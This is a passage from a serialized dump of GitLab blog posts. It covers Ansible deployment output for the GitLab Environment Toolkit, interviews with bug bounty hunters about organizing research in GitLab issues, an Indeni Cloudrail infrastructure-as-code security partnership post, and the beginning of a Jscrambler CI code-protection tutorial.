[gitlab-qa-10k-gitlab-rails-1]\nok: [gitlab-qa-10k-gitlab-rails-3]\nok: [gitlab-qa-10k-gitlab-rails-2]\nTASK [gitlab-rails : Reconfigure all GitLab Rails] *****************************\nchanged: [gitlab-qa-10k-gitlab-rails-1]\nchanged: [gitlab-qa-10k-gitlab-rails-3]\nchanged: [gitlab-qa-10k-gitlab-rails-2]\nTASK [gitlab-rails : Restart GitLab] *******************************************\nchanged: [gitlab-qa-10k-gitlab-rails-3]\nchanged: [gitlab-qa-10k-gitlab-rails-1]\nchanged: [gitlab-qa-10k-gitlab-rails-2]\n\n[...]\n\nPLAY RECAP *********************************************************************\ngitlab-qa-10k-consul-1     : ok=29   changed=17   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-consul-2     : ok=28   changed=16   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-consul-3     : ok=28   changed=16   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-elastic-1    : ok=41   changed=9    unreachable=0    failed=0    skipped=61   rescued=0    ignored=0\ngitlab-qa-10k-elastic-2    : ok=37   changed=7    unreachable=0    failed=0    skipped=62   rescued=0    ignored=0\ngitlab-qa-10k-elastic-3    : ok=37   changed=7    unreachable=0    failed=0    skipped=62   rescued=0    ignored=0\ngitlab-qa-10k-gitaly-1     : ok=27   changed=15   unreachable=0    failed=0    skipped=30   rescued=0    ignored=0\ngitlab-qa-10k-gitaly-2     : ok=26   changed=14   unreachable=0    failed=0    skipped=30   rescued=0    ignored=0\ngitlab-qa-10k-gitaly-3     : ok=26   changed=14   unreachable=0    failed=0    skipped=30   rescued=0    ignored=0\ngitlab-qa-10k-gitlab-nfs-1 : ok=28   changed=7    unreachable=0    failed=0    skipped=55   rescued=0    ignored=0\ngitlab-qa-10k-gitlab-rails-1 : ok=41   changed=21   unreachable=0    failed=0    skipped=32   rescued=0    ignored=0\ngitlab-qa-10k-gitlab-rails-2 : ok=35   changed=16   unreachable=0    failed=0    skipped=33   rescued=0    ignored=0\ngitlab-qa-10k-gitlab-rails-3 : ok=35   changed=16   unreachable=0    failed=0    skipped=33   rescued=0    ignored=0\ngitlab-qa-10k-haproxy-external-1 : ok=40   changed=8    unreachable=0    failed=0    skipped=62   rescued=0    ignored=0\ngitlab-qa-10k-haproxy-internal-1 : ok=39   changed=8    unreachable=0    failed=0    skipped=60   rescued=0    ignored=0\ngitlab-qa-10k-monitor-1    : ok=43   changed=19   unreachable=0    failed=0    skipped=35   rescued=0    ignored=0\ngitlab-qa-10k-pgbouncer-1  : ok=30   changed=17   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-pgbouncer-2  : ok=29   changed=16   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-pgbouncer-3  : ok=29   changed=16   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-postgres-1   : ok=35   changed=16   unreachable=0    failed=0    skipped=36   rescued=0    ignored=0\ngitlab-qa-10k-postgres-2   : ok=34   changed=15   unreachable=0    failed=0    skipped=36   rescued=0    ignored=0\ngitlab-qa-10k-postgres-3   : ok=34   changed=15   unreachable=0    failed=0    skipped=36   rescued=0    ignored=0\ngitlab-qa-10k-praefect-1   : ok=29   changed=18   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-praefect-2   : ok=26   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-praefect-3   : ok=26   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-praefect-postgres-1 : ok=25   changed=14   unreachable=0    failed=0    skipped=29   rescued=0    ignored=0\ngitlab-qa-10k-redis-cache-1 : ok=26   changed=15   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-cache-2 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-cache-3 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-persistent-1 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-persistent-2 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-persistent-3 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-sentinel-cache-1 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-sentinel-cache-2 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-sentinel-cache-3 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-sentinel-persistent-1 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-sentinel-persistent-2 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-redis-sentinel-persistent-3 : ok=25   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-sidekiq-1    : ok=28   changed=15   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-sidekiq-2    : ok=27   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-sidekiq-3    : ok=27   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\ngitlab-qa-10k-sidekiq-4    : ok=27   changed=14   unreachable=0    failed=0    skipped=28   rescued=0    ignored=0\nlocalhost                  : ok=18   changed=3    unreachable=0    failed=0    skipped=38   rescued=0    ignored=0\n```\n\nOnce Ansible is done, you should have a fully running GitLab environment at scale!\n\n## What's next?\n\nWe've got a bunch of things planned for GET so it can support more features when setting up GitLab, such as SSL support, [cloud native hybrid architectures](/blog/cloud-native-architectures-made-easy/) on other cloud providers, object storage customization, and much more. We know deploying production-ready server applications is hard and has many potential requirements depending on the customer, and we hope to eventually support all recommended setups.\n\nCheck out the [GET development board](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/boards?group_by=epic) and our [issue list](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/issues) to see what is in progress. Share feedback and suggestions by adding to our issue lists, we're keen to hear what's important to customers.\n\n[Cover image](https://unsplash.com/photos/icdVDptHxpM) by [Jean Vella](https://unsplash.com/@jean_vella?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[676,1268],{"slug":18184,"featured":6,"template":678},"why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale","content:en-us:blog:why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale.yml","Why We Are Building The Gitlab Environment Toolkit To Help Deploy Gitlab At Scale","en-us/blog/why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale.yml","en-us/blog/why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale",{"_path":18190,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18191,"content":18197,"config":18202,"_id":18204,"_type":16,"title":18205,"_source":17,"_file":18206,"_stem":18207,"_extension":20},"/en-us/blog/how-i-use-gitlab-to-help-my-hack",{"title":18192,"description":18193,"ogTitle":18192,"ogDescription":18193,"noIndex":6,"ogImage":18194,"ogUrl":18195,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18195,"schema":18196},"How do bug bounty hunters use GitLab to help their hack?","We know GitLab is a complete open source DevOps platform, but can it improve your hack? We chat with three bug bounty hunters to find out.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670944/Blog/Hero%20Images/gitlab-to-help-my-hack.png","https://about.gitlab.com/blog/how-i-use-gitlab-to-help-my-hack","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How do bug bounty hunters use GitLab to help their hack?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-06-11\",\n      }",{"title":18192,"description":18193,"authors":18198,"heroImage":18194,"date":18199,"body":18200,"category":674,"tags":18201},[12307],"2021-06-11","\n\nGitLab is best known as [a complete open source DevOps platform, delivered as a single application](/stages-devops-lifecycle/), but it also offers powerful project management and collaboration capabilities. In fact, every GitLab team uses GitLab to develop, track and collaborate on projects, processes, and programs.\n\n**But, what about... other uses? Say ... hacking, for instance.** 🤷‍♀️\n\nCan GitLab help a hacker fine-tune their craft? Through our [Ask a Hacker AMA series](/blog/ajxchapman-ask-a-hacker/) we discovered that there are some bug bounty hunters who use GitLab to streamline their research process. And, like so many cool and awesome things, we learned on Twitter about another contributor using GitLab for bug bounty hunting.  So, we followed up to learn more.\n\n## Meet our hackers\n### Alex Chapman\n![Alex Chapman](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/alex-chapman-blog.png){: .shadow.small.center}\n\n*Alex has been hacking for 14 years professionally, but his interest was piqued well before that!*\n\n🦊  [@ajxchapman on GitLab](https://gitlab.com/ajxchapman)  🪲  [@ajxchapman on HackerOne](https://hackerone.com/ajxchapman)  🐦  [@ajxchapman on Twitter](https://twitter.com/ajxchapman)\n\n### Dominic Couture\n![Dominic Couture](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/dominic-couture-blog.png){: .shadow.small.center}\n\n*Dominic is a senior security engineer on GitLab's [Application Security](/handbook/security/security-engineering/application-security/) team and has been hacking for fun for roughly 20 years, though he admits there were some \"long periods in the middle where he didn't do too much\".* 😆\n\n🦊  [@dcouture on GitLab](https://gitlab.com/dcouture/)  🪲  [@dcouture on HackerOne](https://hackerone.com/dcouture?type=user) when working and [dee-see on HackerOne](https://hackerone.com/dee-see/?type=user) when playing!  🐦  [dee__see on Twitter](https://twitter.com/dee__see)\n\n### Nishant Jain\n![Nishant Jain](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/nishant-jain-blog.png){: .shadow.small.center}\n\n*Nishant has been hacking for 1.5 years and is currently working on [LinkShare](https://linksshare.io), a platform which enables users to share and categorize bug bounty resources.*\n🦊  [@archerl on GitLab](https://gitlab.com/archerl)  🪲  [@archerl on HackerOne](https://hackerone.com/archerl)  🐦  [@realArcherL on Twitter](https://twitter.com/realArcherL)\n\n## How do you use GitLab in your hack?\n\n**Alex**: I use GitLab for all of my bug bounty issue tracking from idea, through discovery, POC development and report writing. One of the biggest revelations for me in bug hunting involved note-taking. I used to be terrible at recording my thoughts, progress and ideas when hunting for bugs. This meant whenever I got sidetracked, or took a break, I would inevitably forget what I was up to and what leads I was working on.\n\nNow I record everything I can in GitLab issues. Have a random thought about something to check? Create an issue for it. Spot a potentially interesting bit of functionality while pursuing another bug? Create an issue. Get inspiration in the shower? That's right, get out the shower and create an issue. Even if I don't think it's particularly useful at the time, it can sometimes spark something several days later and I can go back and find those notes. I tag each issue with a label specifying what kind of issue it is (bug, task, lead, etc.), how worthwhile I feel it will be to complete, and how much effort I think it will require. This way when I complete my current bug exploration path, I have a whole load of leads I can go back to and pick from and investigate.\n\nAt the end of each bug hunting session, I always make sure I take five to ten minutes to write down any outstanding thoughts so nothing is lost between bug hunting sessions. This way of working means I always have a pipeline of things to investigate and, when I wake up in the middle of the night with a new idea on how to exploit something, I can just add to the existing issue and push it off until morning. Whereas before, I might have got up and started working on it right away. That's not really viable for me these days, I'm certainly getting older and I need my sleep 🤣\n\nAs an issue progresses from a lead to a reported bug, I label the issue with the bug bounty program report state, and finally as bugs are paid out I label the issue with the payout amount. This helps track lucrative programs and functionality for future research.\n\n_Editor's note: To dive even deeper into how Alex approaches bug hunting, check out his [\"Ask a Hacker\" profile blog](/blog/ajxchapman-ask-a-hacker/) and this [Ask Me Anything session](https://youtu.be/Km6toD6CAAw) we held with him where he talks about everything from what inspired him to start hacking to the types of bugs he likes to hunt._\n\n**Dominic**: I use GitLab private projects to collaborate with friends on hacking projects. Our approach is simple: Each idea about a potentially interesting thing to explore gets its own issue and then we discuss, via comment thread, the different attack vectors and the things we try and whether our attempts work or not. Everything is documented with screenshots or code snippets using the markdown formatting. When we find something it's reported and a ~reported [label](https://docs.gitlab.com/ee/user/project/labels.html) will be applied. The issue is closed either when a reported issue is accepted by the bug bounty program or when we've finished exploring an idea and found nothing. This helps us collect all ideas, validate them and exhaust all possibilities we can think of before moving on.\n\nThe other useful part is obviously the git repository. Any script that we come up with, any important file that was found, or any general note that isn't related to one specific issue is pushed to make sure it isn't forgotten over time. I have a handful of interesting targets that I like to focus on for a month or two in rotation so I can give them my full attention and go deep. This means that a given target will usually be focused on once or twice a year with long downtimes in between. The repository contains all the things I'll definitely forget and will help bring me back up to speed when the time comes.\n\n**Nishant**: Like all great things, we stumbled upon our next contributor's story via the internet. [Twitter to be exact](https://twitter.com/realArcherL/status/1379788534446321669). 😉\n\nI've been using GitLab for my [blog](https://gitlab.com/archerl/portfolio), where I post details about bug bounties, and the CI/CD feature is really easy to use. I chose GitLab to host my [CTFs](https://gitlab.com/archerl/are_you_a_polyglot) and hacking POCs because GitLab has shown that it is friendly to hackers ([Kali Linux is even hosted on GitLab](/blog/kali-linux-movingtogitlab/)) and with the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/), I can edit them from the repository itself.\n\nRecently, I've  been using GitLab to work with other hackers on [HackerOne programs](https://hackerone.com/directory/programs). With HackerOne's bounty splitting feature enabled, two hackers can easily collaborate on a single report. In GitLab, you can construct a group and then add repositories to it. You should give each repository a name that corresponds to the individual HackerOne program.\n\n![Screenshot of setting up project names](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/creating-names.png){: .shadow.medium.center}\nCreating repositories for different H1 programs\n{: .note.text-center}\n\nYou can create [issues](https://docs.gitlab.com/ee/user/project/issues/#issues) in the issues tab, just like a developer, and mark them with custom labels. Not only that, but you can delegate the problem to a collaborator, who will be notified via email – convenient if the hackers are in different time zones. Furthermore, features such as group permission settings allow for the introduction of additional hackers with/without limited access.\n\n![Screenshot illustrating the creation of issues for shared programs](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/issues-blog.png){: .shadow.medium.center}\nCreating issues with custom labels\n{: .note.text-center}\n\nAlso, GitLab provides easy tracking of issues with [issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html#issue-boards). The board function makes it simple to keep track of reports, like which ones are in the triage stage and which ones have been marked as informative or closed. Also, if a similar error occurs in the future, we can still cross-reference it, much as we do when creating real apps. Boards are a newer discovery for me, so I still need to do more exploring here.\n\n![Screenshot of issue boards](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/boards-blog.png){: .shadow.medium.center}\nEasy tracking of of issues with issue boards\n{: .note.text-center}\n\n## What should we improve so you can hack better?\n\n**Alex**:  I write in markdown, a lot. Unfortunately I find that GitLab is not very friendly with writing or editing large markdown documents in repos, wikis, or issues. My writing style means I make multiple edits to issues or wiki pages, and having to scroll through a wall of markdown source to edit a detail halfway through a page is particularly painful. It would be great to see markdown editing become first class in GitLab, or at the very least let me edit only a code block or text under a heading like on Wikipedia.\n\n_Editor's note: good news! We have some really big plans for making markdown editing easier across GitLab. You can check out and follow this [epic for implementing a new editor in Wiki](https://gitlab.com/groups/gitlab-org/-/epics/5403) and review our [strategy for the new WYSIWYG markdown editor](https://gitlab.com/groups/gitlab-org/-/epics/5401) to see what's in store._\n\n**Dominic**: I often have good hacking ideas in random places, whether it's in the middle of the fruit aisle at the grocery store or on a run with my dogs, and when that happens I note those ideas in my GitLab project on my phone. The mobile experience isn't the best both in terms of page layout and performance, so improving that would be awesome.\n\nI think some of my biggest layout pet peeves could be easy fixes, so I plan on working on that myself because, although my frontend skills leave a lot to be desired, [everyone can contribute](/community/contribute/)!\n\n***Nishant***:\n\n![Screenshot of selecting template types](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/new-file-template.png){: .shadow.medium.center}\nCreate and select different templates for greater efficiency\n{: .note.text-center}\n\nI'm not sure if a feature like this exists, but if we could build out custom templates while creating a file, that would save a lot of time when making similar reports.\n\n_Editor's note: We have [templates for issues and merge request descriptions](https://docs.gitlab.com/ee/user/project/description_templates.html#use-cases). Perhaps those help?_\n\n**Nishant**: I see, I think the issues template solves the problem then. 🙌\n\nAlso, Discord hooks integration.\n\n_Editor's note: We've got a [Discord webhook integration](https://docs.gitlab.com/ee/user/project/integrations/discord_notifications.html). Would that work?_\n\n**Nishant**: Nice! I missed this! I don't think there's much that I can think of now to improve GitLab, although as I noted above, I'd love for there to be more backward integration or compatibility with the markdown in HackerOne and GitHub platforms.\n\n## What GitLab feature helps you the most in your hack?\n\n**Alex**: As mentioned above, GitLab issue tracking is my main use for GitLab in my bug hunting efforts, but I really like that I can link to code and POCs in a repository and keep longer-term notes in a Wiki. I rely on the project sub-grouping features to keep the various bug bounty programs and scope items I am working on organized and tidy.\n\nI have found this setup works particularly well when collaborating with other bug hunters. I simply create a shared project and we can all add to and update the issues, files, and wikis collaboratively. This is much nicer than just relying on Slack or Google Docs for collaboration, it helps keep things more organized and much easier to find than constantly searching through Slack logs.\n\n**Dominic**: GitLab issues and all the management tools around them is where I get the most value. They help me track all ideas that could potentially become a vulnerability, and make collaboration and sharing easy. GitLab labels allow me to quickly glance at the main issues page and see the state of each issue.\n\nContributing to this post has made me reflect on how I could get even more out of GitLab in my bug bounty hunting efforts and using [issue weights](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) to estimate the amount of work needed to investigate each idea and [milestones](https://docs.gitlab.com/ee/user/project/milestones/) to plan the ideas I want to cover in a specific hacking session could be good improvements to my workflow.\n\n**Nishant**: I appreciate that users can make [flowcharts](https://docs.gitlab.com/ee/user/markdown.html#diagrams-and-flowcharts) and templates with the powerful GitLab markdown (not all features are supported in HackerOne's markdown though, so perhaps adding that capability is a feature suggestion!). I also make use of custom features like customs tabs, boards, lists, etc. Not to mention the fantastic [documentation](https://docs.gitlab.com/) for all the features.\n\n## How does GitLab help *you* hack?\n\nAre you using GitLab in your hack, either to track ideas to bounty or to collaborate on a global scale with other hackers from across the world, or maybe to keep track of all the bits in between? We'd love to hear about it! Tweet us at @gitlab or comment below!\n\n### Have a question you'd ask a hacker?\nIf you want to dive even deeper into the mind of a hacker, join our upcoming Ask a Hacker AMA with [William Bowling, @vakzz](https://hackerone.com/vakzz?type=user) on June 16, 2021 at 23:00 UTC (see [this world clock](https://www.google.com/url?q=https://www.timeanddate.com/worldclock/fixedtime.html?msg%3DGitLab%2Blive%2BAMA%2Bwith%2BBug%2BBounty%2BResearcher%2B%2540vakzz%26iso%3D20210617T09%26p1%3D396%26am%3D25&sa=D&source=editors&ust=1622841578656000&usg=AFQjCNEElP1N957Dx2KW4lo8bl0jBEDagw) for conversion to your timezone). Get all of the [event details and sign up](https://docs.google.com/forms/d/e/1FAIpQLSc4qcZCtQzci-heoBG30pZ730wviKxNJaL8sAIYVE9LsoNRCw/viewform?usp=sf_link).\n\n![June 16 AMA with William Bowling](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/ama-with-vakzz-blog.png){: .shadow.medium.center}\n",[674,1938,267],{"slug":18203,"featured":6,"template":678},"how-i-use-gitlab-to-help-my-hack","content:en-us:blog:how-i-use-gitlab-to-help-my-hack.yml","How I Use Gitlab To Help My Hack","en-us/blog/how-i-use-gitlab-to-help-my-hack.yml","en-us/blog/how-i-use-gitlab-to-help-my-hack",{"_path":18209,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18210,"content":18216,"config":18222,"_id":18224,"_type":16,"title":18225,"_source":17,"_file":18226,"_stem":18227,"_extension":20},"/en-us/blog/how-to-get-gitops-right-with-iac-security",{"title":18211,"description":18212,"ogTitle":18211,"ogDescription":18212,"noIndex":6,"ogImage":18213,"ogUrl":18214,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18214,"schema":18215},"How to get GitOps right with infrastructure as code security","Learn how the GitLab and Indeni integration makes security a core component of your GitOps workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663403/Blog/Hero%20Images/gitops-partner-cover-image.jpg","https://about.gitlab.com/blog/how-to-get-gitops-right-with-iac-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to get GitOps right with infrastructure as code security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ulrica de Fort-Menares\"}],\n        \"datePublished\": \"2021-06-10\",\n      }",{"title":18211,"description":18212,"authors":18217,"heroImage":18213,"date":18219,"body":18220,"category":734,"tags":18221},[18218],"Ulrica de Fort-Menares","2021-06-10","\nIn today's competitive digital era, it is imperative for organizations to undergo a digital transformation to effectively compete. For many, achieving a digital transformation means transitioning toward a DevOps model.\n\nDevOps has been around for many years, and the development side of the house has benefitted from the core practices of DevOps. However, the infrastructure side of the house has been lagging behind, particularly when it comes to speed. With [infrastructure as code (IaC)](/topics/gitops/infrastructure-as-code/) and [GitOps](/topics/gitops/), infrastructure teams have been able to apply the same disciplines and quality gates that are used to manage application code to the infrastructure - to deliver products faster, with more predictability and at scale.\n\n## Security slowing down delivery\n\nWhile the GitOps concept promises faster and more frequent deployment, the last thing you want is to be slowed down by your legacy security programs. How often has your release stopped near the end of process because it failed the security gate? All too often security testing is tacked on at the end of delivery. Developers inevitably spend significant time and energy investigating these security issues, which delays the release. Uncovering issues late in the cycle is expensive and painful to fix, not to mention creating unnecessary stress.\n\nThe software development process has been shifting left to deliver better-quality software faster. By using IaC, you can adopt the same DevOps principle for the infrastructure. Learning from the development world, you should integrate security controls into the development lifecycle early and everywhere.\n\n## How to shift your IaC security checks left\n\nThe core of the partnership between Indeni and GitLab is about making security a key part of the GitOps practice. The [Indeni Cloudrail](https://indeni.com/cloudrail/) and GitLab CI/CD integration brings IaC security into the tools that developers are familiar with and want to use.\n\n![GitOps workflow](https://about.gitlab.com/images/blogimages/secure-gitops-workflow.png){: .shadow}\nHow GitLab CI/CD fits into the Indeni Cloudrail DevOps workflow.\n{: .note.text-center}\n\nThe joint solution modernizes security programs with the shift-left approach and automates infrastructure compliance. Developers no longer need to get in line for security reviews. Instead, IaC will be automatically evaluated for security impacts. Security controls are integrated into the development lifecycle before deployment.\n\n![GitOps workflow](https://about.gitlab.com/images/blogimages/secure-gitops1.jpg){: .shadow}\nCatching IaC security violations in GitLab CI/CD.\n{: .note.text-center}\n\nAs shown in the example above, Indeni Cloudrail provides feedback in GitLab CI. This way, security risks relating to the infrastructure can be instantly remediated when they are made so developers can move fast. You can think of the shift security left approach as testing IaC continuously and preventing insecure infrastructure from being deployed.\n\n## Don't let those noisy security tools impede your GitOps practice\n\nSecurity tools are notorious for being noisy with their many false positives. According to the Advanced Technology Academic Research Center [(ATARC) Federal DevSecOps Landscape survey](https://atarc.org/project/devsecops-survey/), too many false positives is the number one frustration with security testing. A noisy security tool can be counterproductive by inadvertently stopping the pipeline frustrating your developers.\n\nWhat makes Indeni Cloudrail unique is its context-based analysis, which refers to its ability to understand the relationships among cloud resources, making in-depth security analyses possible. Cloudrail also factors in already existing resources in the cloud environment to gain a holistic view as part of its analysis. The end result is three times less noise than any comparable IaC security tools in the market. In essence, Cloudrail will only bother developers with problems that truly matter to the organization. Learn more about [what makes Cloudrail unique in this blog post](https://indeni.com/blog/comparing-cloudrail-checkov-tfsec-and-kics-with-testing/).\n\n## Why GitLab and Indeni are better together\n\nBy delivering a developer-centric security tool for IaC, security has a better chance of gaining acceptance in the developer community. Together, Indeni and GitLab equip developers with the right tools to support a GitOps model and help organizations with their digital transformation.\n\n## Watch the demo\n\nWatch the Cloudrail demo to see the GitOps workflow for IaC security.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/9WSd0D87Vxc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### About Indeni\n\n_[Indeni](https://indeni.com/) automates best practices for network security and cloud security. Its security infrastructure platform automates health and compliance checks for leading firewalls to maximize uptime and efficiency. Its Infrastructure-as-Code security analysis tool, Cloudrail, automates infrastructure compliance to prevent insecure cloud environments from being deployed._\n\nCover image by [Dimitry Anikin](https://unsplash.com/@anikinearthwalker) on [Unsplash](https://unsplash.com/photos/DsmjpJzm2i0)\n",[534,674,4103,232],{"slug":18223,"featured":6,"template":678},"how-to-get-gitops-right-with-iac-security","content:en-us:blog:how-to-get-gitops-right-with-iac-security.yml","How To Get Gitops Right With Iac Security","en-us/blog/how-to-get-gitops-right-with-iac-security.yml","en-us/blog/how-to-get-gitops-right-with-iac-security",{"_path":18229,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18230,"content":18236,"config":18241,"_id":18243,"_type":16,"title":18244,"_source":17,"_file":18245,"_stem":18246,"_extension":20},"/en-us/blog/how-to-protect-your-source-code-with-gitlab-and-jscrambler",{"title":18231,"description":18232,"ogTitle":18231,"ogDescription":18232,"noIndex":6,"ogImage":18233,"ogUrl":18234,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18234,"schema":18235},"How to protect your source code with GitLab and Jscrambler","Learn how to seamlessly protect your source code at build time in just a few steps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669529/Blog/Hero%20Images/gitlab-jscrambler-blog-post-protecting-source-code.png","https://about.gitlab.com/blog/how-to-protect-your-source-code-with-gitlab-and-jscrambler","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to protect your source code with GitLab and Jscrambler\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Fortuna\"},{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2021-06-09\",\n      }",{"title":18231,"description":18232,"authors":18237,"heroImage":18233,"date":18238,"body":18239,"category":734,"tags":18240},[17650,7599],"2021-06-09","\nDevelopment teams are building, testing, and shipping code faster than ever before. Today, we know that security has a role to play at the early stages of the [DevOps workflow](/topics/devops/), but these security controls are mostly centered around finding and fixing bugs and vulnerabilities during development.\n\nIn this tutorial, we will explore the importance of protecting client-side application code at runtime and guide you through implementing it in your GitLab instance using the integration with [Jscrambler](https://jscrambler.com/).\n\n## The importance of runtime code protection\n\nWith web and mobile applications dealing with increasingly sensitive data, addressing the application's attack surface requires considering additional threats that are not directly linked to vulnerabilities.\n\nThis concern has been widely covered in NIST, ISO 27001, and some of the latest iterations of OWASP guides, such as the [Mobile Application Security Verification Standard](https://mobile-security.gitbook.io/masvs/). These information security standards highlight that attackers who gain unwarranted access to the application's source code may be able to retrieve proprietary code, find ways to bypass app restrictions, and make more progress while planning/automating data exfiltration attacks.\n\nAs such, it's important that companies implement an additional security layer (on top of application security best practices) to tackle the threats of tampering and reverse engineering of an application's source code.\n\n## Getting started with Jscrambler + GitLab\n\nA robust code protection approach must include multiple layers to raise the bar for reverse-engineering and tampering attempts. Jscrambler achieves this by using a combination of code protection techniques, including obfuscation, code locks, runtime protection, and threat monitoring.\n\nLet's see how you can easily set up this layered source code protection using Jscrambler in your GitLab instance.\n\n### What you need for the Jscrambler integration\n\nTo use this integration with Jscrambler, make sure that you meet the following prerequisites:\n\n* A JavaScript-based project, as Jscrambler can protect JavaScript-based web and hybrid mobile apps\n* A [Jscrambler account](https://jscrambler.com/signup)\n* A GitLab instance where the Jscrambler integration will run\n\n### How to configure Jscrambler\n\nThe first step of this integration is to define the Jscrambler code protection techniques you want to use. The best way to do this is through the [Jscrambler web app](https://app.jscrambler.com/). You can either select one of the pre-defined templates or pick techniques one by one. Review [the Jscrambler guide](https://blog.jscrambler.com/jscrambler-101-first-use/) for further instructions on choosing Jscrambler techniques. No matter what you choose, download Jscrambler's JSON configuration file by clicking the download button next to the Application Settings, as shown below.\n\n![Jscrambler_download_JSON](https://about.gitlab.com/images/blogimages/jscrambler-app-download-json.gif \"How to download Jscrambler's JSON config.\")\nHow to download Jscrambler's JSON config.\n{: .note.text-center}\n\nPlace the file you just downloaded in your project's root folder and rename it to `.jscramblerrc`. Now, open the file and make sure you remove the access and secret keys from this configuration file by removing the following lines.\n\n```json\n \"keys\": {\n   \"accessKey\": \"***********************\",\n   \"secretKey\": \"***********************\"\n },\n```\n\nThis will prevent having hardcoded API keys, which could pose security issues. You should store these API keys using the [GitLab CI environment variables](https://docs.gitlab.com/ee/ci/variables/), as shown below.\n\n![Jscrambler API keys as GitLab environment variables](https://docs.jscrambler.com/637a78d94e016c8be1866edb0627f2bc.png)\nWhere to score Jscrambler's API keys in GitLab.\n{: .note.text-center}\n\nAnd that's all you need from Jscrambler's side!\n\n### Configuring a Jscrambler job inside GitLab CI\n\nStart by checking you have placed the `.gitlab-ci.yml` file at the root of your project. Inside this file, you will need to define your `build` stage, as well as add a new `protect` stage, as shown below.\n\n```yml\nstages:\n - build\n - protect\n # - deploy\n # ...\n```\n\nThe `build` stage should be configured as follows:\n\n```yml\nbuild:production:\n stage: build\n artifacts:\n   when: on_success\n   paths:\n     - build\n script:\n   - npm i\n   - npm run build\n```\n\nThis configuration will run the `npm run build` command, which is a standard way of building your app to production, placing the resulting production files in the `/build` folder. Plus, it ensures that the `/build` folder becomes available as a [GitLab CI artifact](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html) so that it can be used later in other jobs.\n\nHere, make sure that you set the build commands and build folder according to your own project, as these may vary.\n\nNext, configure the `protect` stage as shown below:\n\n```yml\nbuild:production:obfuscated:\n stage: protect\n before_script:\n   - npm i -g jscrambler\n dependencies:\n   - build:production\n 